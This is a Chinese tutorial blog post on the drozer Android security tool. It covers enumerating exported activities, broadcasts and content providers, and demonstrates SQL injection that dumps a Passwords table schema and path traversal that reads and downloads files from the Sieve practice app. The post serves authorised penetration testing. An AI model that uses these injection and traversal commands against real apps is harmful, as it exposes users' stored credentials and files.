Drozer的使用

前言

前面已经讲了drozer的安装和启动,如果你发现执行命令的时候,出现

adb server version (31)doesn't match this client (39);killing...
error:could not install *smartsocket* listener: cannot bind to ...(10048)

很可能是360手机助手占用了端口,手机卸载360手机助手,Windows结束360手机助手的进程。

下面开始实战。

一、连接手机,进入dz

在前面讲安装dz的时候,已经讲了这部分。
大体说一下吧。
手机电脑数据线连接,将手机上的drozer Agent设置Enabled。
电脑执行

adb forward tcp:31415 tcp:31415

drozer console connect

进入dz。

二、操作

1、根据关键字可以查找包名列表
run app.package.list -f com.***
2、获取app信息
run app.package.info -a com.***

这里写图片描述

3、识别应用的攻击面
run app.package.attacksurface com.***

这里写图片描述

4、查看activity的详情

Activity是Android四大组件之一,它用于展示界面。Activity是一个应用程序组件,提供一个屏幕,用户可以用来交互为了完成某项任务。Activity中所有操作都与用户密切相关,是一个负责与用户交互的组件,可以通过setContentView(View)来显示指定控件。在一个android应用中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。Activity之间通过Intent进行通信。

run app.activity.info -a com.***

这里写图片描述

// 使用这个命令可以查看更详细的内容
run app.activity.info -a com.** -i
5、使用drozer启动这个activity

根据上一节我们知道了这个activity的全称,我们早已知包名。
执行:

run app.activity.start –-component com.sgcc.xingfu com.sgcc.xingfu.activity.SplashActivity

执行后,发现可以启动这个页面,这个页面是引导页。

6、查看的broadcast的详情

在Android中,Broadcast是一种广泛运用的在应用程序之间传输信息的机制。而BroadcastReceiver是对发送出来的Broadcast进行过滤接受并响应的一类组件。广播接收者(BroadcastReceiver)用于接收广播Intent的, 广播Intent的发送是通过调用sendBroadcast/sendOrderedBroadcast来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收。

run app.broadcast.info -a com***

这里写图片描述

// 使用这个命令查看broadcast更详细的信息,包括action
run app.broadcast.info -a com.***  -i

这里写图片描述

run app.broadcast.send --component  包名 广播名
run app.broadcast.send --component 包名 --action android.intent.action.XXX
7、content provider

ContentProvider:内容提供者是应用程序之间共享数据的接口,使用ContentProvider共享数据的好处是统一了数据访问方式。

run app.provider.info -a com.**

这里写图片描述

8、查找uri
run app.provider.finduri com.***

这里写图片描述

获取所有可以访问的Uri

run scanner.provider.finduris -a com.***

这里写图片描述

对数据进行查看

// 假设存在暴露的provider
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical 

简单的SQL注入

//假设暴露的是
//content://com.**.sieve.DBContentProvider/Passwords/
// 执行
dz> run app.provider.query content://com.**/Passwords/ --projection "'"  
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords  

dz> run app.provider.query content://com.**/Passwords/ --selection "'"  
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')  

dz> run app.provider.query content://com.**/Passwords/ --projection "*" 
| _id | service | username | password | email |  

dz> run app.provider.query content://com.**/Passwords/ --projection "* from sqlite_master where 1=1; --" 
// 下面是表格
// 为了方便看,整理了一下 
typenametbl_namerootpagesql
tableandroid_metadataandroid_metadata3CREATE TABLE android_meta data (locale TEXT)
tablePasswordsPasswords4CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email )
tableKeyKey5CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )
indexsqlite_autoindex_Key_1Key6null

检测sql注入和目录遍历

run scanner.provider.injection -a com.**  

run scanner.provider.traversal -a com.**

遍历下载文件

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts  

dz> run app.provider.download content://com.**.FileBackupProvider/data/data/com.**.sie  
ve/databases/database.db/home/user/database.db  
9、查看暴露的service

很多情况下,一些与用户很少需要产生交互的应用程序,我们一般让它们在后台运行就行了,而且在它们运行期间我们仍然能运行其他的应用。为了处理这种后台进程,Android引入了Service的概念。

run app.service.info -a com.***

这里写图片描述

注:此APP已经优化,复现不了以上步骤,大家可以自己写个demo或者从网络上download其他工程进行操作。

drozer是一款用于安卓应用程序安全评估和渗透测试的工具。下面是一个简单的drozer使用教程: 1. 安装drozer:首先,你需要在你的机器上安装drozer。你可以从官方网站(https://github.com/FSecureLABS/drozer)下载最新的二进制版本,并按照官方文档进行安装。 2. 连接设备:将你的安卓设备连接到计算机,并确保已启用USB调试模式。你可以在设备的开发者选项中启用USB调试模式。 3. 启动drozer控制台:在命令行中输入`drozer console connect`命令来启动drozer控制台,并连接到你的设备。 4. 扫描应用程序:使用`run app.package.list`命令来列出设备上安装的应用程序包名。选择你想要评估或测试的应用程序,并记下其包名。 5. 选择目标应用程序:使用`run app.package.attacksurface <包名>`命令来选择目标应用程序,并获取有关其攻击面的信息。这将显示应用程序的组件、权限和接口等信息。 6. 进行漏洞扫描:使用`run scanner.<scanner_name>`命令来执行特定漏洞扫描。drozer提供了一系列内置的扫描器,例如`scanner.activity.injection`用于检测活动注入漏洞,`scanner.provider.query`用于检测内容提供者查询漏洞等。 7. 漏洞利用和渗透测试:如果你发现了漏洞,你可以使用drozer提供的一些模块来利用这些漏洞。例如,`run exploit.<exploit_name>`命令用于执行特定漏洞利用。 8. 退出drozer控制台:当你完成评估和测试后,可以使用`exit`命令退出drozer控制台。 请注意,drozer是一个强大的工具,需要谨慎使用。在使用drozer对任何应用程序进行评估和测试之前,请确保你具有合法的授权,并遵守适用的法律和道德准则。同时,也建议在安全环境中进行测试,以防止对正式环境造成任何损害。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值